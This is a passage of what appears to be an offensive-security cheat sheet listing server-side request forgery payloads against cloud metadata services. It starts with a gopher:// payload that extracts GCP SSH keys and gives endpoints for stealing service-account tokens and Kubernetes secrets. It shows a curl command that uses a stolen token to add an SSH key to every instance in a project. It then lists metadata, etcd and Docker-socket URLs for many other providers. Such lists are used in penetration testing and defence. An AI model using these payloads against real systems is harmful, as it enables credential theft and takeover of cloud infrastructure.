gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
|
||||
```
|
||||
|
||||
Interesting files to pull out:
|
||||
|
||||
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
|
||||
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
|
||||
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`
|
||||
|
||||
### Add an SSH key
|
||||
|
||||
Extract the token
|
||||
|
||||
```powershell
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
|
||||
Check the scope of the token
|
||||
|
||||
```powershell
|
||||
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
|
||||
|
||||
{
|
||||
"issued_to": "101302079XXXXX",
|
||||
"audience": "10130207XXXXX",
|
||||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||||
"expires_in": 2443,
|
||||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
|
||||
Now push the SSH key.
|
||||
|
||||
```powershell
|
||||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||||
-H "Content-Type: application/json"
|
||||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||||
```
|
||||
|
||||
## SSRF URL for Digital Ocean
|
||||
|
||||
Documentation available at `https://developers.digitalocean.com/documentation/metadata/`
|
||||
|
||||
```powershell
|
||||
curl http://169.254.169.254/metadata/v1/id
|
||||
http://169.254.169.254/metadata/v1.json
|
||||
http://169.254.169.254/metadata/v1/
|
||||
http://169.254.169.254/metadata/v1/id
|
||||
http://169.254.169.254/metadata/v1/user-data
|
||||
http://169.254.169.254/metadata/v1/hostname
|
||||
http://169.254.169.254/metadata/v1/region
|
||||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
|
||||
|
||||
All in one request:
|
||||
curl http://169.254.169.254/metadata/v1.json | jq
|
||||
```
|
||||
|
||||
## SSRF URL for Packetcloud
|
||||
|
||||
Documentation available at `https://metadata.packet.net/userdata`
|
||||
|
||||
## SSRF URL for Azure
|
||||
|
||||
Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/metadata/v1/maintenance
|
||||
```
|
||||
|
||||
Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/metadata/instance?api-version=2017-04-02
|
||||
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||||
```
|
||||
|
||||
## SSRF URL for OpenStack/RackSpace
|
||||
|
||||
(header required? unknown)
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/openstack
|
||||
```
|
||||
|
||||
## SSRF URL for HP Helion
|
||||
|
||||
(header required? unknown)
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/2009-04-04/meta-data/
|
||||
```
|
||||
|
||||
## SSRF URL for Oracle Cloud
|
||||
|
||||
```powershell
|
||||
http://192.0.0.192/latest/
|
||||
http://192.0.0.192/latest/user-data/
|
||||
http://192.0.0.192/latest/meta-data/
|
||||
http://192.0.0.192/latest/attributes/
|
||||
```
|
||||
|
||||
## SSRF URL for Alibaba
|
||||
|
||||
```powershell
|
||||
http://100.100.100.200/latest/meta-data/
|
||||
http://100.100.100.200/latest/meta-data/instance-id
|
||||
http://100.100.100.200/latest/meta-data/image-id
|
||||
```
|
||||
|
||||
## SSRF URL for Hetzner Cloud
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/hetzner/v1/metadata
|
||||
http://169.254.169.254/hetzner/v1/metadata/hostname
|
||||
http://169.254.169.254/hetzner/v1/metadata/instance-id
|
||||
http://169.254.169.254/hetzner/v1/metadata/public-ipv4
|
||||
http://169.254.169.254/hetzner/v1/metadata/private-networks
|
||||
http://169.254.169.254/hetzner/v1/metadata/availability-zone
|
||||
http://169.254.169.254/hetzner/v1/metadata/region
|
||||
```
|
||||
|
||||
## SSRF URL for Kubernetes ETCD
|
||||
|
||||
Can contain API keys and internal ip and ports
|
||||
|
||||
```powershell
|
||||
curl -L http://127.0.0.1:2379/version
|
||||
curl http://127.0.0.1:2379/v2/keys/?recursive=true
|
||||
```
|
||||
|
||||
## SSRF URL for Docker
|
||||
|
||||
```powershell
|
||||
http://127.0.0.1:2375/v1.24/containers/json
|
||||
|
||||
Simple example
|
||||
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
|
||||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
||||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
||||
```
|
||||
|
||||
More info:
|
||||
|
||||
- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option
|
||||
- Docker Engine API: https://docs.docker.com/engine/api/latest/
|
||||
|
||||
## SSRF URL for Rancher
|
||||
|
||||
```powershell
|
||||
curl http://rancher-metadata/<version>/<path>
|
||||
```
|
||||
|
||||
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - December 13, 2017](https://web.archive.org/web/20180210093624/https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
|
||||
- [Exploiting SSRF in AWS Elastic Beanstalk - Sunil Yadav - February 1, 2019](https://notsosecure.com/exploiting-ssrf-aws-elastic-beanstalk)
|
Loading…
Reference in a new issue